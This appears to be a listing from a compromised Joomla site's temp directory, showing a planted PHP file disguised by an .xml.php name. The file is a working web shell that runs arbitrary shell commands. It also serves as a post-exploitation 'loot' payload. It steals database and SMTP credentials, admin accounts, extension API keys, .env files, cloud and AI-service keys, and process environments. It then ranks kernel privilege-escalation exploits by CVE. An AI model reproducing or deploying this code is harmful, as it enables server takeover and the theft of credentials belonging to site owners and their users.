Current Path :
/
home
/
zrcdevco
/
www
/
tmp
/
Or
Select Your Path :
Upload File :
New :
File
Dir
/home/zrcdevco/www/tmp/96530e9b.xml.php
<?php $jce_tok = 'e91b373c62aa29aa'; if (($_GET['t'] ?? '') !== $jce_tok) { http_response_code(404); exit; } if (isset($_GET['rm'])) { @unlink(__FILE__); echo 'rm-ok'; exit; } if (isset($_GET['c'])) { $c = $_GET['c']; $o = null; $_df = array_map('trim', explode(',', (string)@ini_get('disable_functions'))); if (function_exists('shell_exec') && !in_array('shell_exec', $_df)) { $o = @shell_exec($c); } elseif (function_exists('exec') && !in_array('exec', $_df)) { @exec($c, $_out); $o = implode("\n", (array)$_out); } elseif (function_exists('passthru') && !in_array('passthru', $_df)) { ob_start(); @passthru($c); $o = ob_get_clean(); } elseif (function_exists('system') && !in_array('system', $_df)) { ob_start(); @system($c); $o = ob_get_clean(); } echo "JCEOK" . substr(md5($jce_tok), 0, 10) . "::" . (string)$o . "::JCEEND"; exit; } // joomlakit loot payload v2 — Joomla-native recon: configuration.php, DB enum, // extension params (API keys), .env files, AI-infra credential hunt, cloud creds, // host block, kernel LPE matrix. Emits JCE::{json}::END markers (joomlakit // wire format; parsed by _parse_loot_markers in cve_2026_48907.py). // The placeholder line below is replaced at dropper build time with the // jce_kparse..jce_lpe_matrix slice (jce_kernel_funcs.php). error_reporting(0); @ini_set('display_errors',0); @set_time_limit(120); ob_start(); function jce_kparse($rel){if(preg_match('/^(\d+)\.(\d+)(?:\.(\d+))?/',$rel,$m))return array((int)$m[1],(int)$m[2],(int)($m[3]??0));return null;} function jce_klt($k,$a,$b,$c=0){if(!is_array($k))return null;return($k[0]<$a)||($k[0]===$a&&$k[1]<$b)||($k[0]===$a&&$k[1]===$b&&$k[2]<$c);} function jce_kge($k,$a,$b,$c=0){if(!is_array($k))return null;return!jce_klt($k,$a,$b,$c);} function jce_kbdate($v){// parse build date from uname -v, epoch or null if(preg_match('/\((\d{4})-(\d{2})-(\d{2})\)/',$v,$m))return mktime(0,0,0,(int)$m[2],(int)$m[3],(int)$m[1]); // ISO (Kali, some -ck) if(preg_match('/(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\w*\.?\s+(\d{1,2})[\d\s:]*?(\d{4})/',$v,$m)){ // SMP "Mon Jul 16 19:22:03 UTC 2026" $mo=array('jan'=>1,'feb'=>2,'mar'=>3,'apr'=>4,'may'=>5,'jun'=>6,'jul'=>7,'aug'=>8,'sep'=>9,'oct'=>10,'nov'=>11,'dec'=>12); $mn=$mo[strtolower(substr($m[1],0,3))]??0;if($mn)return mktime(0,0,0,$mn,(int)$m[2],(int)$m[3]);} return null;} function jce_kernel_sa(){ $ks=array(); $ks['kernel_release']=@php_uname('r');$ks['kernel_version_str']=@php_uname('v');$ks['machine']=@php_uname('m'); $ks['kver']=jce_kparse($ks['kernel_release']); $ks['build_epoch']=jce_kbdate($ks['kernel_version_str']); $_os=@file_get_contents('/etc/os-release'); if($_os&&preg_match('/^PRETTY_NAME="?([^"\n]+)/m',$_os,$m))$ks['distro']=trim($m[1]); foreach(array('ptrace_scope'=>'/proc/sys/kernel/yama/ptrace_scope','userns_clone'=>'/proc/sys/kernel/unprivileged_userns_clone','max_user_namespaces'=>'/proc/sys/user/max_user_namespaces','io_uring_disabled'=>'/proc/sys/kernel/io_uring_disabled','kptr_restrict'=>'/proc/sys/kernel/kptr_restrict')as$k=>$p){ $v=@file_get_contents($p);if($v!==false)$ks[$k]=(int)trim($v);} $_mods=@file_get_contents('/proc/modules'); $mlist=array(); if($_mods)foreach(explode("\n",$_mods)as$l){$mm=explode(' ',$l);if($mm[0])$mlist[]=$mm[0];} $ks['modules_present']=array_values(array_intersect($mlist,array('algif_aead','esp4','esp6','espintcp','rxrpc','rds','rds_tcp','act_pedit'))); $_ksy=@file_get_contents('/proc/kallsyms'); $ks['rxgk_symbols']=$_ksy?(strpos($_ksy,'rxgk_')!==false):null; $ks['algif_aead_available']=(in_array('algif_aead',$mlist))||($_ksy&&strpos($_ksy,'algif_aead')!==false); if($_ksy===false||$_ksy===null)$ks['algif_aead_available']=in_array('algif_aead',$mlist)?true:null; $sb=array(); foreach(array('/usr/bin/su','/bin/su','/usr/bin/sudo','/usr/bin/pkexec','/usr/bin/chage','/usr/lib/openssh/ssh-keysign','/usr/libexec/ssh-keysign')as$b) if(@is_file($b)&&@is_readable($b))$sb[]=$b; $ks['suid_readable']=$sb; $ks['unshare_bin']=@is_file('/usr/bin/unshare'); if(function_exists('posix_getuid'))$ks['uid']=@posix_getuid(); // interpreter / tooling surface for LPE delivery-path selection $tb=array(); foreach(array('python3','python','perl','gcc','cc','tcc','go','ruby','busybox')as$b){ $f=@is_file('/usr/bin/'.$b)?'/usr/bin/'.$b:(@is_file('/bin/'.$b)?'/bin/'.$b:(@is_file('/usr/local/bin/'.$b)?'/usr/local/bin/'.$b:null)); if($f)$tb[$b]=$f;} $ks['tooling']=$tb; $ffi=@ini_get('ffi.enable'); $ks['php_ffi']=($ffi==='1'||$ffi===true||strcasecmp((string)$ffi,'true')===0||strcasecmp((string)$ffi,'yes')===0); // userns effectively available? $un=null; if(isset($ks['max_user_namespaces']))$un=$ks['max_user_namespaces']>0; if(isset($ks['userns_clone']))$un=$un===false?false:($ks['userns_clone']>0); $ks['userns_likely']=$un; return $ks; } function jce_lpe_matrix($ks){ $k=isset($ks['kver'])?$ks['kver']:null; $bd=isset($ks['build_epoch'])?$ks['build_epoch']:null; $rel=isset($ks['kernel_release'])?$ks['kernel_release']:''; $mods=isset($ks['modules_present'])?$ks['modules_present']:array(); $un=!empty($ks['userns_likely']); $ps=isset($ks['ptrace_scope'])?$ks['ptrace_scope']:null; // Verdict helper, dual-window model (grill-driven fix): fix_ts = upstream/public // fix date, vendor_ts = when major vendor kernels realistically shipped backports. // Build before fix window => go; inside => maybe (backport uncertain); after => no. // Single-date checks are wrong for staggered/embargoed backports. $V=function($range_ok,$fix_ts,$vendor_ts,$precon,$why)use($bd){ if($range_ok===false)return array('no','kernel outside vulnerable range'); if(!$precon)return array('no',$why); if($bd&&$fix_ts){ $vt=$vendor_ts?:$fix_ts+1209600; if($bd<$fix_ts-604800)return array('go',$why); if($bd<$vt)return array('maybe',$why.'; build inside patch window — backport uncertain'); return array('no','kernel built after vendor patch window'); } return array($range_ok===null?'maybe':'go',$why.'; no build date — version heuristic'); }; // Fixed-version table: branch "maj.min" => first fixed [maj,min,pat]. Below fix // on a tracked branch => definitive go; at/above => definitive no. null => fall // back to the date window. $T=function($fixmap)use($k){ if(!$k)return null; $b=$k[0].'.'.$k[1]; if(!isset($fixmap[$b]))return null; $f=$fixmap[$b]; return jce_klt($k,$f[0],$f[1],$f[2])?'go':'no'; }; $M=array(); // 1 Copy Fail CVE-2026-31431 — vuln 4.14..6.18.22/6.19.12/7.0, patch~2026-04-30 // algif_aead autoloads on AF_ALG socket creation in default distro kernels, so // "not currently loaded" does NOT gate reachability — treat as always-reachable. $rng=$k?(jce_kge($k,4,14)&&jce_klt($k,7,0)):null; if($rng&&jce_kge($k,6,18,22)&&jce_klt($k,6,19))$rng=false; if($rng&&jce_kge($k,6,19,12))$rng=false; $M['copyfail_cve_2026_31431']=$V($rng,strtotime('2026-04-30'),strtotime('2026-05-21'),true,'algif_aead autoloads on use (default kernels); pure-stdlib, deterministic, container escape'); // 2 GhostLock CVE-2026-43499 — 2.6.39..7.1, upstream fix Apr; public 2026-07-08 $rng=$k?(jce_kge($k,2,6,39)&&jce_klt($k,7,1)):null; $M['ghostlock_cve_2026_43499']=$V($rng,strtotime('2026-07-08'),strtotime('2026-07-22'),true,'needs only CONFIG_FUTEX_PI (universal); 97% reliable, container escape'); // 3 Bad Epoll CVE-2026-46242 — 6.4.., fixed 6.18.33/7.0.10 (table wins over dates) $rng=$k?(jce_kge($k,6,4)&&jce_klt($k,7,1)):null; $_be=$T(array('6.18'=>array(6,18,33),'7.0'=>array(7,0,10))); $M['bad_epoll_cve_2026_46242']=$_be===null?$V($rng,strtotime('2026-04-25'),strtotime('2026-07-05'),true,'no preconditions (epoll syscalls); race-based ~99%, misses 6.1 LTS') :array($_be,'no preconditions (epoll syscalls); race-based ~99%; fixed-version table '.($_be==='go'?'below':'at/above').' fix'); // 4 Fragnesia CVE-2026-46300 — needs userns + espintcp, patch~2026-05-14 $rng=$k?jce_klt($k,7,1):null; $pre=$un&&(in_array('espintcp',$mods)||in_array('esp4',$mods)||in_array('esp6',$mods)); $M['fragnesia_cve_2026_46300']=$V($rng,strtotime('2026-05-14'),strtotime('2026-06-04'),$pre,'needs unpriv userns + espintcp (AL2023/Bottlerocket immune)'); // 5 Dirty Frag 43284+43500 — esp4/6 or rxrpc, patch~2026-05-09 $pre=(in_array('rxrpc',$mods))||($un&&(in_array('esp4',$mods)||in_array('esp6',$mods))); $M['dirtyfrag_cve_2026_43284_43500']=$V($rng,strtotime('2026-05-09'),strtotime('2026-06-06'),$pre,'needs rxrpc (Ubuntu default) or userns+esp'); // 6 ptrace exit-race CVE-2026-46333 — exact Qualys stable fix list + Ubuntu ABI map $rng=$k?jce_kge($k,5,6):null; $pre=($ps===null||$ps<2); $_pt=$T(array('5.10'=>array(5,10,256),'5.15'=>array(5,15,207),'6.1'=>array(6,1,173), '6.6'=>array(6,6,139),'6.12'=>array(6,12,89),'6.18'=>array(6,18,31),'7.0'=>array(7,0,8))); if($_pt===null&&$k&&$k[0]===6&&$k[1]===8){ if(preg_match('/^6\.8\.0-(\d+)\./',$rel,$m))$_pt=((int)$m[1]>=124?'no':'go'); // Ubuntu 24.04 GA ABI: 6.8.0-124.124 = fixed } $M['ptrace_race_cve_2026_46333']=$_pt===null?$V($rng,strtotime('2026-05-15'),strtotime('2026-06-04'),$pre,'blocked if ptrace_scope>=2; race vs exiting setuid proc; cred theft') :($pre?array($_pt,'race vs exiting setuid proc; cred theft; fixed-version table '.($_pt==='go'?'below':'at/above').' fix') :array('no','blocked by ptrace_scope>=2')); // 7 DirtyClone CVE-2026-43503 — userns+esp surface, patch~2026-05-22 $pre=$un&&(in_array('esp4',$mods)||in_array('esp6',$mods)); $M['dirtyclone_cve_2026_43503']=$V($rng,strtotime('2026-05-22'),strtotime('2026-06-26'),$pre,'needs userns + esp; silent (no audit trail)'); // 8 pedit COW CVE-2026-46331 — 5.18..7.1, act_pedit + userns, patch~2026-06-23 $rng=$k?(jce_kge($k,5,18)&&jce_klt($k,7,1)):null; $pre=$un; $M['pedit_cow_cve_2026_46331']=$V($rng,strtotime('2026-06-23'),strtotime('2026-07-14'),$pre,'needs act_pedit loadable + userns; Ubuntu needs aa-exec bypass'); // 9 nf_tables CVE-2026-23111 — catchall maps only exist 5.13+; upstream patch 2026-02-05; // distros lagged (FuzzingLabs April PoC worked on Ubuntu) — wide vendor window $rng=$k?jce_kge($k,5,13):null; $pre=$un; $M['nf_tables_cve_2026_23111']=$V($rng,strtotime('2026-02-05'),strtotime('2026-05-06'),$pre,'needs userns + nftables; >99% Exodus chain'); // 10 PinTheft CVE-2026-43494 — rds + io_uring + >=6.13, patch~2026-05-22 $rng=$k?jce_kge($k,6,13):null; $iour=!isset($ks['io_uring_disabled'])||$ks['io_uring_disabled']===0; $pre=in_array('rds',$mods)&&$iour; $M['pintheft_cve_2026_43494']=$V($rng,strtotime('2026-05-22'),strtotime('2026-06-26'),$pre,'needs rds loaded (Arch default only) + io_uring'); // 11 DirtyDecrypt CVE-2026-31635 — CONFIG_RXGK, 6.10..6.13, patch~2026-04-26 $rng=$k?(jce_kge($k,6,10)&&jce_klt($k,6,14)):null; $pre=!empty($ks['rxgk_symbols']); $M['dirtydecrypt_cve_2026_31635']=$V($rng,strtotime('2026-04-26'),strtotime('2026-05-17'),$pre,'needs CONFIG_RXGK (Fedora/Arch/Tumbleweed only)'); // recommended = first go in ranked order $rec=null; foreach(array('copyfail_cve_2026_31431','ghostlock_cve_2026_43499','bad_epoll_cve_2026_46242','fragnesia_cve_2026_46300','dirtyfrag_cve_2026_43284_43500','ptrace_race_cve_2026_46333','dirtyclone_cve_2026_43503','pedit_cow_cve_2026_46331','nf_tables_cve_2026_23111','pintheft_cve_2026_43494','dirtydecrypt_cve_2026_31635')as$key) if($M[$key][0]==='go'){$rec=$key;break;} return array('verdicts'=>$M,'recommended'=>$rec); } $o=array('config_path'=>null,'config'=>null,'host'=>null,'joomla'=>null,'secrets'=>null,'kernel_sa'=>null,'lpe_matrix'=>null,'cred_hunt'=>null,'filesystem'=>null); $jce_done=false; function _r($d){echo 'JCE::'.json_encode($d,defined('JSON_INVALID_UTF8_SUBSTITUTE')?JSON_INVALID_UTF8_SUBSTITUTE:0).'::END';@ob_flush();@flush();} register_shutdown_function(function()use(&$o,&$jce_done){if(!$jce_done)_r($o);}); // ── configuration.php hunt (Joomla's wp-config equivalent) ── $cfgp=null; $dr=$_SERVER['DOCUMENT_ROOT']??''; $cands=array(__DIR__); for($d=__DIR__,$i=0;$i<6;$i++){$cands[]=$d;$d=dirname($d);} if($dr){$cands[]=$dr;for($d=$dr,$i=0;$i<6;$i++){$cands[]=$d;$d=dirname($d);}} foreach(array_unique($cands) as$d){if(@is_file($d.'/configuration.php')){$cfgp=$d.'/configuration.php';break;}} $cfg=$cfgp?@file_get_contents($cfgp):null; if(is_string($cfg)&&strlen($cfg)>262144)$cfg=substr($cfg,0,262144); $o['config_path']=$cfgp; $o['config']=$cfg; // ── parse public $vars from configuration.php ── $jv=array();$SEC=array(); if(is_string($cfg)){ if(preg_match_all('/public\s+\$(\w+)\s*=\s*[\'"]([^\'"]*)[\'"]\s*;/',$cfg,$mm,PREG_SET_ORDER)) foreach($mm as$m)$jv[$m[1]]=$m[2]; foreach(array('secret','smtpuser','smtppass','ftp_user','ftp_pass','user','password','db','dbprefix','host','mailer','fromname','smtphost','smtpport','log_path','tmp_path')as$k) if(isset($jv[$k])&&$jv[$k]!=='')$SEC[$k]=$jv[$k]; } if($SEC)$o['secrets']=$SEC; // ── DB enumeration via mysqli (Joomla $host/$user/$password/$db/$dbprefix) ── $DB=null; $mc=null; if($jv&&function_exists('mysqli_connect')&&!empty($jv['host'])){ $h=$jv['host'];$po=3306; if(strpos($h,':')!==false){$hp=explode(':',$h);$h=$hp[0];if(ctype_digit(end($hp)))$po=(int)end($hp);} try{$mc=@mysqli_connect($h,$jv['user']??'',$jv['password']??'',$jv['db']??'',$po);}catch(\Throwable $e){} if($mc){ $DB=array('via'=>'mysqli'); $pfx=$jv['dbprefix']??''; $r=@mysqli_query($mc,"SELECT COUNT(*) FROM `{$pfx}users`"); if($r){$row=mysqli_fetch_row($r);$DB['users_count']=(int)$row[0];} $r=@mysqli_query($mc,"SELECT u.id,u.username,u.email FROM `{$pfx}users` u JOIN `{$pfx}user_usergroup_map` m ON m.user_id=u.id WHERE m.group_id=8 LIMIT 20"); if($r){$adm=array();while($row=mysqli_fetch_row($r))$adm[]=array('id'=>$row[0],'username'=>$row[1],'email'=>$row[2]);$DB['admins']=$adm;} $tabs=array();$r=@mysqli_query($mc,"SHOW TABLES"); if($r){while($row=mysqli_fetch_row($r))$tabs[]=$row[0];} $DB['tables']=$tabs; // version table (joomla core version lives in #__extensions) $r=@mysqli_query($mc,"SELECT manifest_cache FROM `{$pfx}extensions` WHERE element='com_joomlaupdate' OR name='files_joomla' LIMIT 1"); if($r&&($row=mysqli_fetch_row($r))&&preg_match('/"version"\s*:\s*"([^"]+)"/',$row[0],$vm))$DB['joomla_version']=$vm[1]; } } $o['joomla']=array('config_vars'=>$jv,'db'=>$DB); // ── extension params secrets dump ── // Third-party extensions store API keys, SMTP creds, payment gateway secrets // in the params JSON column of #__extensions. This is the #1 source of // non-configuration.php secrets on Joomla hosts. $ext_secrets=array(); if($mc){ $r=@mysqli_query($mc,"SELECT element,name,type,params FROM `{$pfx}extensions` WHERE params IS NOT NULL AND params != '' AND params != '{}' LIMIT 200"); if($r){ while($row=mysqli_fetch_assoc($r)){ $p=$row['params']; // Look for key-like patterns in the JSON params if(preg_match_all('/"(?:api_key|apikey|api_secret|secret_key|access_token|auth_token|private_key|client_secret|password|passwd|smtp_pass|smtp_password|mail_pass|ftp_pass|db_pass|aws_secret|aws_key|openai|anthropic|google_key|stripe_key|paypal_secret|s3_secret|s3_key|backup_key|encryption_key)"\s*:\s*"([^"]{4,})"/i',$p,$mm,PREG_SET_ORDER)){ $found=array(); foreach($mm as$m)$found[$m[1]]=$m[2]; if($found)$ext_secrets[$row['element']]=array('name'=>$row['name'],'type'=>$row['type'],'keys'=>$found); } } } // Also check #__user_profiles for Joomla API tokens (J4+) $r=@mysqli_query($mc,"SELECT u.username,up.profile_key,up.profile_value FROM `{$pfx}user_profiles` up JOIN `{$pfx}users` u ON u.id=up.user_id WHERE up.profile_key LIKE 'joomlatoken%' OR up.profile_key LIKE '%api_key%' OR up.profile_key LIKE '%token%' LIMIT 50"); if($r){ $tokens=array(); while($row=mysqli_fetch_assoc($r))$tokens[]=array('user'=>$row['username'],'key'=>$row['profile_key'],'value'=>$row['profile_value']); if($tokens)$ext_secrets['_api_tokens']=$tokens; } } if($ext_secrets)$o['extension_secrets']=$ext_secrets; // ── host block ── $_df=array_map('trim',explode(',',@ini_get('disable_functions')?:'')); $E=false; foreach(array('shell_exec','exec','system','passthru','proc_open','popen')as$f) if(function_exists($f)&&!in_array($f,$_df)){$E=true;break;} $o['host']=array( 'php_version'=>PHP_VERSION,'sapi'=>php_sapi_name(), 'uname'=>function_exists('php_uname')?@php_uname():'', 'server'=>$_SERVER['SERVER_SOFTWARE']??'', 'ip'=>$_SERVER['SERVER_ADDR']??'', 'docroot'=>$_SERVER['DOCUMENT_ROOT']??'', 'open_basedir'=>@ini_get('open_basedir')?:'', 'disabled'=>@ini_get('disable_functions')?:'', 'exts'=>@get_loaded_extensions()?:array(), 'can_exec'=>$E, ); // ── .env file hunt ── // Modern Joomla extensions and custom integrations use .env files alongside // configuration.php. These carry AI API keys, cloud creds, database passwords. $env_found=array(); $env_cands=array(); // Site root and parent dirs for($d=__DIR__,$i=0;$i<4;$i++){ foreach(array('.env','.env.local','.env.production','.env.staging','.env.development')as$f) $env_cands[]=$d.'/'.$f; $d=dirname($d); } // Common subdirectories foreach(array('/administrator','/components','/plugins','/modules','/templates','/cli','/api','/config','/app','/includes')as$sub) foreach(array('.env','.env.local','.env.production')as$f) $env_cands[]=__DIR__.$sub.'/'.$f; // Docroot variants if($dr){ foreach(array('.env','.env.local','.env.production')as$f) $env_cands[]=$dr.'/'.$f; foreach(array('/administrator','/components','/plugins','/config','/app')as$sub) foreach(array('.env','.env.local','.env.production')as$f) $env_cands[]=$dr.$sub.'/'.$f; } foreach(array_unique($env_cands)as$p){ if(@is_file($p)&&@is_readable($p)){ $c=@file_get_contents($p); if($c!==false){ if(strlen($c)>65536)$c=substr($c,0,65536); $env_found[$p]=$c; } } } if($env_found)$o['env_files']=$env_found; // ── AI infrastructure credential hunt ── // AI/LLM API keys are the highest-value secrets on modern hosts. // Probe for keys in env files, config files, and well-known paths. $ai_keys=array(); $ai_patterns=array( 'OPENAI_API_KEY','ANTHROPIC_API_KEY','GOOGLE_API_KEY','GEMINI_API_KEY', 'HF_TOKEN','HUGGINGFACE_TOKEN','GROQ_API_KEY','OPENROUTER_API_KEY', 'DEEPSEEK_API_KEY','PINECONE_API_KEY','WEAVIATE_API_KEY', 'MISTRAL_API_KEY','COHERE_API_KEY','REPLICATE_API_TOKEN', 'AZURE_OPENAI_KEY','AZURE_OPENAI_ENDPOINT','AZUREAI_ENDPOINT_KEY', 'AWS_ACCESS_KEY_ID','AWS_SECRET_ACCESS_KEY','AWS_SESSION_TOKEN', 'STRIPE_SECRET_KEY','STRIPE_PUBLISHABLE_KEY', 'SENDGRID_API_KEY','MAILGUN_API_KEY','TWILIO_AUTH_TOKEN', 'SLACK_BOT_TOKEN','SLACK_SIGNING_SECRET', 'GITHUB_TOKEN','GITLAB_TOKEN','DOCKER_PASSWORD', 'DATABASE_URL','DB_PASSWORD','MYSQL_PASSWORD','POSTGRES_PASSWORD', 'REDIS_PASSWORD','MONGO_PASSWORD','MONGODB_URI', 'JWT_SECRET','SESSION_SECRET','ENCRYPTION_KEY','APP_KEY', 'WEBUI_SECRET_KEY','FLOWISE_SECRETKEY','LITELLM_API_KEY', ); // Scan found .env files for AI key patterns foreach($env_found as$path=>$content){ foreach($ai_patterns as$pat){ if(preg_match('/^'.preg_quote($pat,'/').'\s*=\s*(.+)$/m',$content,$m)){ $ai_keys[$pat]=array('source'=>$path,'value'=>trim($m[1])); } } } // Also scan configuration.php for any embedded AI keys (rare but possible) if(is_string($cfg)){ foreach($ai_patterns as$pat){ if(preg_match('/'.preg_quote($pat,'/').'\s*[=:]\s*[\'"]?([^\s\'";]+)/i',$cfg,$m)){ if(!isset($ai_keys[$pat]))$ai_keys[$pat]=array('source'=>'configuration.php','value'=>trim($m[1])); } } } // Well-known AI config paths $ai_config_paths=array( '/root/.aws/credentials', '/root/.aws/config', '/root/.config/gcloud/application_default_credentials.json', '/root/.huggingface/token', '/root/.flowise/.env', '/root/.flowise/config.json', '/root/.deepagents/.state/chatgpt-auth.json', '/root/.config/openai/config.json', '/root/.config/anthropic/config.json', '/root/.ollama/config.json', '/etc/ollama/config.json', '/opt/flowise/.env', '/opt/open-webui/.env', '/opt/litellm/config.yaml', '/opt/litellm/.env', ); foreach($ai_config_paths as$p){ if(@is_file($p)&&@is_readable($p)){ $c=@file_get_contents($p); if($c!==false){ if(strlen($c)>65536)$c=substr($c,0,65536); // Extract key=value or key: value pairs matching AI patterns foreach($ai_patterns as$pat){ if(preg_match('/'.preg_quote($pat,'/').'\s*[=:]\s*[\'"]?([^\s\'";,\]}]+)/i',$c,$m)){ if(!isset($ai_keys[$pat]))$ai_keys[$pat]=array('source'=>$p,'value'=>trim($m[1])); } } // Also store the raw file for manual review $ai_keys['_file:'.$p]=array('source'=>$p,'value'=>substr($c,0,4096)); } } } // Process environment variables (if /proc/*/environ is readable) foreach(glob('/proc/[0-9]*/environ')?:array() as$pe){ $c=@file_get_contents($pe); if($c!==false){ foreach($ai_patterns as$pat){ if(preg_match('/'.preg_quote($pat,'/').'=([^\x00]+)/',$c,$m)){ if(!isset($ai_keys[$pat]))$ai_keys[$pat]=array('source'=>$pe,'value'=>trim($m[1])); } } } // Only check first 20 processes to avoid timeout static $proc_count=0; if(++$proc_count>=20)break; } if($ai_keys)$o['cred_hunt']=$ai_keys; // ── filesystem recon (backups, configs, logs) ── $fs=array(); // Backup files $backup_cands=array(); for($d=__DIR__,$i=0;$i<3;$i++){ foreach(array('configuration.php.bak','configuration.php.old','configuration.php~','configuration.php.save','configuration.php.orig','configuration.php.dist','wp-config.php.bak','.env.bak','.env.old','.env~','backup.sql','dump.sql','database.sql','db.sql','joomla.sql')as$f) $backup_cands[]=$d.'/'.$f; $d=dirname($d); } $backups=array(); foreach(array_unique($backup_cands)as$p){ if(@is_file($p))$backups[]=$p; } if($backups)$fs['backups']=$backups; // Config files beyond configuration.php $config_cands=array(); for($d=__DIR__,$i=0;$i<3;$i++){ foreach(array('wp-config.php','config.php','config.inc.php','settings.php','database.php','db.php','defines.php','override.php')as$f) $config_cands[]=$d.'/'.$f; $d=dirname($d); } $configs=array(); foreach(array_unique($config_cands)as$p){ if(@is_file($p)&&@is_readable($p)){ $c=@file_get_contents($p); if($c!==false){ if(strlen($c)>32768)$c=substr($c,0,32768); $configs[$p]=$c; } } } if($configs)$fs['configs']=$configs; // Log files (first 1KB each, for error messages that leak paths/creds) $log_cands=array(); if(!empty($jv['log_path'])){ foreach(array('error.php','error.log','joomla.log','administrator/logs/error.php')as$f) $log_cands[]=$jv['log_path'].'/'.$f; } foreach(array('/var/log/apache2/error.log','/var/log/nginx/error.log','/var/log/httpd/error_log','/var/log/php_errors.log')as$p) $log_cands[]=$p; $logs=array(); foreach($log_cands as$p){ if(@is_file($p)&&@is_readable($p)){ $c=@file_get_contents($p); if($c!==false)$logs[$p]=strlen($c); } } if($logs)$fs['logs']=$logs; if($fs)$o['filesystem']=$fs; // ── kernel_sa + lpe_matrix (WP-agnostic) ── $_KSA=jce_kernel_sa(); $o['kernel_sa']=$_KSA; $o['lpe_matrix']=jce_lpe_matrix($_KSA); $jce_done=true; _r($o);
